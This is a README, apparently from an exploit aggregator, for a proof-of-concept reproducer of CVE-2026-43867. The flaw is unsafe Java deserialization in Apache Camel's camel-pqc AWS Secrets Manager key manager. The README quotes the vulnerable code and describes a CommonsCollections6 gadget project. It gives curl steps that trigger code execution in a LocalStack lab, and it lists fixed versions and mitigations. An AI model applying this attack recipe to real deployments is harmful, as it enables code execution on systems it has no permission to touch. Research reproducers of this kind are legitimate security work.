## https://sploitus.com/exploit?id=F844ECDF-0690-53DB-AEEC-FB0737E59EFA
# camel-pqc AWS Secrets Manager Key-Metadata Unsafe Deserialization Reproducer (CVE-2026-43867)
This project demonstrates a **Java deserialization vulnerability** in Apache Camel's `camel-pqc` component,
tracked as **CVE-2026-43867**. `AwsSecretsManagerKeyLifecycleManager.deserializeMetadata()` reads persisted
post-quantum key metadata back from an AWS Secrets Manager secret by Base64-decoding the stored value and
deserializing it with a raw `java.io.ObjectInputStream.readObject()` and **no `ObjectInputFilter`** โ the cast
to `KeyMetadata` happens only *after* `readObject()` returns, so any `readObject()` side effects run first. A
principal who can write to that secret (`secretsmanager:PutSecretValue`) can store a crafted serialized object
that is deserialized during normal key-lifecycle operations, potentially leading to **code execution**.
Advisory: https://camel.apache.org/security/CVE-2026-43867.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Component** | `camel-pqc` (`AwsSecretsManagerKeyLifecycleManager`) |
| **Affected Class** | `org.apache.camel.component.pqc.lifecycle.AwsSecretsManagerKeyLifecycleManager#deserializeMetadata` |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
| **Impact** | Code execution in the key-managing application (requires write access to the metadata secret) |
| **Affected Versions** | From 4.18.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| **Fixed Versions** | 4.18.3, 4.21.0 (camel-pqc is **not** on the 4.14.x LTS line) |
| **JIRA** | CAMEL-23726 |
| **Reporter** | Venkatraman Kumar (Securin) |
> **Same defect as CVE-2026-46590** (reported independently; that advisory also covers the HashiCorp Vault and
> file-based sibling managers), and an **incomplete-remediation follow-on to CVE-2026-40048** (CAMEL-23200),
> which changed `FileBasedKeyLifecycleManager` to a JSON/PKCS#8/X.509 format but did not add an
> `ObjectInputFilter` and did not cover the AWS/Vault managers.
## Technical Details
```java
// AwsSecretsManagerKeyLifecycleManager - affected 4.18.2
private KeyMetadata deserializeMetadata(String base64) throws Exception {
byte[] data = Base64.getDecoder().decode(base64);
ByteArrayInputStream bais = new ByteArrayInputStream(data);
try (ObjectInputStream ois = new ObjectInputStream(bais)) { // NO ObjectInputFilter
return (KeyMetadata) ois.readObject(); // gadget fires here, before the cast
}
}
```
`getKeyMetadata(keyId)` reads the secret named `//metadata`, parses its JSON envelope
(`{"metadata":"","keyId":...,"algorithm":...}`), and passes the `metadata` field to
`deserializeMetadata`. The fix (4.18.3 / 4.21.0) introduces a shared `KeyMetadataCodec` that stores metadata as
JSON for all managers and constrains the remaining legacy `ObjectInputStream` reads with an allow-list
`ObjectInputFilter`.
## Attacker vs. victim
The **victim** is the application that manages PQC keys with the AWS manager. The **attacker** is any principal
who can write the metadata secret (`secretsmanager:PutSecretValue`). This PoC uses **LocalStack** to emulate AWS
Secrets Manager; the `/exploit/attack` endpoint writes a crafted metadata secret and then drives the manager's
read path.
```
CVE-2026-43867/
โโโ pom.xml # camel-pqc 4.18.2 + aws-sdk secretsmanager 2.41.28 + commons-collections 3.2.1
โโโ Dockerfile # runs the app (--add-opens for gadget build)
โโโ docker-compose.yml # LocalStack (Secrets Manager) + the reproducer app
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ Gadget.java # CommonsCollections6 gadget, fires during readObject()
โ โโโ ExploitController.java # writes the crafted secret, then calls getKeyMetadata()
โโโ resources/
โโโ application.properties
```
> In a real attack the serialized bytes are produced offline by the attacker (e.g. with **ysoserial**). This
> PoC builds the gadget in-process, which is why the JVM runs with `--add-opens java.base/java.util=ALL-UNNAMED`
> โ a gadget-construction detail, unrelated to the vulnerability.
## Prerequisites
- Java 17+ and Maven 3.8+
- Docker (runs LocalStack and the app)
## Reproduction Steps
### Step 1: Build and start everything
```bash
mvn clean package -DskipTests
docker compose up -d --build
```
This starts LocalStack (emulating AWS Secrets Manager) and the reproducer app, which points its
`AwsSecretsManagerKeyLifecycleManager` at LocalStack via the endpoint override.
### Step 2: Trigger the deserialization (RCE)
```bash
curl -s http://localhost:8080/exploit/attack
# -> Wrote crafted serialized metadata to AWS Secrets Manager secret 'pqc/keys/victim-key/metadata'.
# getKeyMetadata() threw java.lang.ClassCastException (expected โ the gadget runs during readObject ...)
#
# >>> RCE proof โ /tmp/pwned exists: true
```
### Step 3: Verify
```bash
docker exec cve-2026-43867 ls -la /tmp/pwned
```
### Cleanup
```bash
docker compose down
```
## Attack Vectors
Any application using `AwsSecretsManagerKeyLifecycleManager` whose key-metadata secret can be written by a party
other than the application's own trusted identity. The deserialization runs during ordinary key-lifecycle
operations (`getKeyMetadata`, `loadExistingKeys`, `listKeys`, rotation checks, โฆ).
## Exploit Conditions
1. An application using camel-pqc's `AwsSecretsManagerKeyLifecycleManager` on an affected version.
2. The attacker can write the metadata secret (`secretsmanager:PutSecretValue` on it).
3. **A gadget library on the classpath** (here `commons-collections:3.2.1`).
## Recommended Fix
Upgrade to **4.18.3 / 4.21.0** (CAMEL-23726). Metadata is stored as JSON and any remaining legacy
`ObjectInputStream` reads are constrained by an allow-list `ObjectInputFilter`.
## Mitigation
Until upgrading:
1. Restrict `secretsmanager:PutSecretValue` on the camel-pqc metadata secret to the application's own identity
(least-privilege IAM).
2. Keep PQC key material in a secret **separate** from any data less-trusted principals can write.
3. **Remove gadget libraries** from the classpath (upgrade/remove commons-collections 3.x and similar).
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed
and fixed** vulnerability. Do not use it against systems without explicit permission.